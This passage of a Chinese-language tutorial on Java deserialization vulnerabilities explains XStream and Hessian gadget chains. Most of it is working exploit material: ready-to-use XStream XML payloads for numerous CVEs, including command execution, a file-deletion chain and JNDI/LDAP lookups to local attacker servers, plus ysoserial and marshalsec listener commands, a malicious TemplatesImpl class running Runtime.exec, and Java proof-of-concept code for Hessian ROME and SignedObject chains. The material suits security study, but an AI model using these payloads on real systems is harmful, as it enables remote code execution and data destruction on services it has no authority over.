getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } }
XStream反序列化XStreamXStream实现了一套Java对象到XML的序列化和反序列化机制，核心是通过Converter转换器来将XML和对象之间进行相互的转换。XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。<dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency>demopackage xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class xstreamDemo { public static void main(String[] args) { Person zhangsan = new Person("zhangsan", 18); // 序列化 XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(zhangsan); System.out.println(xml); // 反序列化 Person user = (Person) xstream.fromXML(xml); } }这里提示“XStream的安全框架未初始化，可能有安全风险”，如果尝试用1.4.17之后版本的XStream运行这段代码将无法正常反序列化出Person对象，并抛出异常。1.14.12版本开始，XStream包含一个安全框架，用于在反序列化时为允许的类型实现黑名单或白名单。在1.4.17版本之前，XStream保留了一个默认的黑名单用于防御安全攻击，在1.4.17版本之后，默认使用白名单，所有人现在都必须进行正确的初始化，否则在反序列化时会失败。因此，用1.4.17之后版本的XStream需要在初始化时给需要反序列化的类加入白名单内。xstream.allowTypes(new Class[]{Person.class});基础原理EventHandler类EventHandler类是实现了InvocationHandler的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其方法执行涉及传入事件对象和目标对象的简单语句，通常，连接是从用户界面bean（事件源）到应用程序逻辑bean（目标）。 这种最有效的连接将应用程序逻辑与用户界面隔离开来。在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的利用链中，会将前面两个属性作为类方法和参数继续反射调用而动态代理对象调用方法时会触发动态代理机制，调用EventHandler的invoke方法，样例如下package cve_2013_7285; import java.beans.EventHandler; import java.lang.reflect.Proxy; public class Demo { public static void main(String[] args) { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{"cmd","/c","calc"}); EventHandler eventHandler = new EventHandler(processBuilder,"start",null,null); Comparable proxy = (Comparable) Proxy.newProxyInstance(Demo.class.getClassLoader(),new Class[]{Comparable.class},eventHandler); proxy.compareTo(new Object()); // 客户端通过代理对象调用方法,本次调用将自动被代理处理器的invoke方法接收 } }通过 Proxy.newProxyInstance() 创建 动态代理对象，并将所有方法调用交给 EventHandler 处理。proxy.compareTo(new Object()) 触发 代理机制，进入 invoke() 方法。invoke() 通过反射调用 processBuilder.start()，最终 calc。利用链Sorted-Set链适用版本1.4.5，1.4.6，1.4.10package xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class SortedSettest { public static void main(String[] args) { String payload = "<sorted-set>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>cmd</string>\n" + " <string>/c</string>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; XStream xstream = new XStream(new DomDriver()); xstream.fromXML(payload); } }Tree-Map链适用版本<=1.4.6或=1.4.10<tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>-na</string> <string>Calculator</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>sorted-set出网链CVE-2021-21351适用版本<=1.4.15<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__useServicesMechanism>false</__useServicesMechanism> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>map链CVE-2020-26217 一种黑名单的绕过方式适用版本<=1.4.13 <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> map文件删除链CVE-2020-26259适用版本<=1.4.14 <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'> <tempFile>D:\\hello.txt</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> priorityquine出网链CVE-2021-21344适用版本<=1.4.15<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://127.0.0.1:9999/Evil</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine不出网链CVE-2021-21345适用版本<=1.4.15<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'> <activationCmd>calc</activationCmd> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine RMI注入CVE-2021-29505适用版本<=1.4.16这个payload比较特殊,只能打RMI注入,而且不能指定路由.我找了半天也没找到能自定义命令进行RMIcodebase注入的工具.好在RMIcodebase注入能使用的版本较低,一般都是配合链子去打.添加一个cc1链的依赖,在ysoserial中起一个恶意的RMIserver.java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 "Calc"<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>127.0.0.1</string> <int>3333</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>127.0.0.1</host> <port>3333</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine1.4.17链CVE-2021-39144适用版本<=1.4.17<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class='sun.tracing.NullProvider'> <active>true</active> <providerType>java.lang.Comparable</providerType> <probes> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> <class>java.lang.Object</class> </parameter-types> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class='java.lang.Runtime'/> <implementing__method> <class>java.lang.Runtime</class> <name>exec</name> <parameter-types> <class>java.lang.String</class> </parameter-types> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </handler> </dynamic-proxy> <string>calc</string> </java.util.PriorityQueue> </java.util.PriorityQueue>sorted-set1.4.17出网链CVE-2021-39146<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='javax.swing.MultiUIDefaults' serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>0</int> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale>zh_CN</defaultLocale> <resourceCache/> </default> </javax.swing.UIDefaults> <javax.swing.MultiUIDefaults> <default> <tables> <javax.swing.UIDefaults serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>1</int> <string>lazyValue</string> <javax.swing.UIDefaults_-ProxyLazyValue> <className>javax.naming.InitialContext</className> <methodName>doLookup</methodName> <args> <string>ldap://127.0.0.1:1389/Basic/Command/calc</string> </args> </javax.swing.UIDefaults_-ProxyLazyValue> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/> <resourceCache/> </default> </javax.swing.UIDefaults> </javax.swing.UIDefaults> </tables> </default> </javax.swing.MultiUIDefaults> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>linked-hash-set链CVE-2021-39139适用版本<=1.4.17<linked-hash-set> <dynamic-proxy> <interface>map</interface> <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'> <classToInvocationHandler class='linked-hash-map'/> <defaultHandler class='sun.tracing.NullProvider'> <active>true</active> <providerType>java.lang.Object</providerType> <probes> <entry> <method> <class>java.lang.Object</class> <name>hashCode</name> <parameter-types/> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>[binary]</byte-array> <byte-array>[binary]</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </proxy> <implementing__method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>getOutputProperties</name> <parameter-types/> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </defaultHandler> </handler> </dynamic-proxy> </linked-hash-set>第二段字节码数据：package ysoserial; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.Serializable; public class Pwner416592915180600 extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public Pwner416592915180600() { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { Object var1 = null; Runtime.getRuntime().exec("calc.exe"); } }改这个就行在1.4.7-1.4.9版本，ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
Hessian反序列化HessianRPC协议RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便RPC协议的一次远程通信过程如下:客户端发起请求，并按照RPC协议格式填充信息填充完毕后将二进制格式文件转化为流，通过传输协议进行传输服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回Hessian类似于RMI也是一种RPC工具,用来将对象序列化或反序列化。官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。JDK自带的序列化方式，使用起来非常方便，只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流，另外继承的元数据也会序列化，所以导致序列化的元素较多且字节流很大，但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次，由于这种方式是JDK自带，无法被多个语言通用。和JDK自带的序列化方式类似，Hessian采用的也是二进制协议，只不过Hessian序列化之后，字节数更小，性能更优。目前Hessian已经出到2.0版本，相较于1.0的Hessian性能更优。相较于JDK自带的序列化，Hessian的设计目标更明确。Hessian 协议具有以下设计目标：它必须自我描述序列化类型，即不需要外部架构或接口定义。它必须与语言无关，包括支持脚本语言。它必须在一次传递中可读或可写。它必须尽可能紧凑。它必须简单，以便可以有效地测试和实施。它必须尽可能快。它必须支持 Unicode 字符串。它必须支持 8 位二进制数据，而无需转义或使用附件。它必须支持加密、压缩、签名和事务上下文信封（ transaction context envelopes )。依赖<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>各种反序列化机制借此来了解一下反序列化机制在Java中，序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反，能够从字节序列中恢复出一个对象。参考marshalsec.pdf，我们可以将序列化/反序列化机制分大体分为两类基于Bean属性访问机制基于Field机制基于Bean属性访问机制SnakeYAMLjYAMLYamlBeansApache Flex BlazeDSRed5 IO AMFJacksonCastorJava XMLDecoder…它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制基于Field机制的反序列化是通过特殊的native（方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，而不是通过getter、setter方式对属性赋值。Java SerializationKryoHessianjson-ioXStream…HessianDemo先写一个标准JavaBean测试用package hessian; import java.io.Serializable; public class Person implements Serializable { public String name; public int age; public Person() { } public Person(String name, int age) { this.name = name; this.age = age; } public int getAge() { return age; } public String getName() { return name; } public void setAge(int age) { this.age = age; } public void setName(String name) { this.name = name; } }package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import static hessian.Tools.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.util.Base64; public class hessianDemo { public static void main(String[] args) throws IOException { Person person = new Person("aaa",18); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(person); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); System.out.println(hessianInput.readObject()); } } 基本原理Hessian反序列化漏洞的关键出在HessianInput#readObject，由于Hessian会将序列化的结果处理成一个Map，所以序列化结果的第一个byte总为M（ASCII为77）。跟进readObject()对象在进行 Hessian 反序列化过程中，会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象，其中会调用HashMap#put()跟进readMap()这里进到最后一个else（进第一个if，通过getDeserializer()来获取一个deserializer，后面也会触发put()的操作）调用HashMap#put()，后续代码能够触发任意类的hashcode()方法利用链ROME 之 JdbcRowSetImpl 链纯ROME链：“哦兄弟？你和我长的有点像哈”JdbcRowSetImpl 链核心是ToStringBean#toString()会调用其封装类的所有无参 getter方法，可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。这里用hashcode()触发ROME触发调用是通过HashMap在 put 键值对会调用HashMap<K,V>.hash(Object)方法校验重复key，从而调用ObjectBean.hashCode()python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.util.Base64; import java.util.HashMap; import static hessian.Tools.*; public class hessian_rome_jdbc { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(map); hessianOutput.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); hessianInput.readObject(); hessianInput.close(); } }这里解释一下为什么不能使用TemplatesImpl去作为入口.来看一下_tfacotry的定义.private transient TransformerFactoryImpl _tfactory = null;其中含有transient字段,意味着这个属性是不可序列化的。但是在TemplatesImpl的readObject中对这个属性有相应的处理._tfactory = new TransformerFactoryImpl();但是Hessian使用的是自定义的readObject,因此没有这行代码,会导致_tfactory为null。在TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()，如果是null会出错，因此无法直接利用此链ROME＋SignObject二次反序列化java.security.SignedObjectpublic SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { // creating a stream pipe-line, from a to b ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutput a = new ObjectOutputStream(b); // write and flush the object content to byte array a.writeObject(object); a.flush(); a.close(); this.content = b.toByteArray(); b.close(); // now sign the encapsulated object this.sign(signingKey, signingEngine); }在其构造方法中，将传入的对象序列化为字节数组,并存储到content属性中。getObject()中就是个原生反序列的流程(这是个getter方法)public Object getObject() throws IOException, ClassNotFoundException { // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }so:package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.security.*; import java.util.Base64; import java.util.HashMap; import static hessian.Tools.*; public class SignedObject_Rome { public static void main(String[] args) throws Exception { byte[] code = getBytes("hessian.evil"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","whatever"); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_class",null); ToStringBean bean = new ToStringBean(Templates.class, obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException,"val",bean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); // 设置二次反序列化入口 SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); // 下面是常规构造 ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject); ObjectBean objectBean2 = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean2, ""); setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(map); hessianOutput.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); hessianInput.readObject(); hessianInput.close(); } } 生成SignedObject构造方法所必要的参数，就这样 KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");Apache Dubbo Hessian2 异常处理时反序列化（CVE-2021-43297）Apache Dubbo 是一款高性能的开源Java RPC框架。支持多种传输协议，例如dubbo（Dubbo Hessian2）、Hessian、RMI、HTTP等。在某些版本下，Apache Dubbo默认使用的反序列化工具 hessian 中存在反序列化漏洞，攻击者可以通过发送恶意 RPC 请求来触发该漏洞。影响环境：Apache 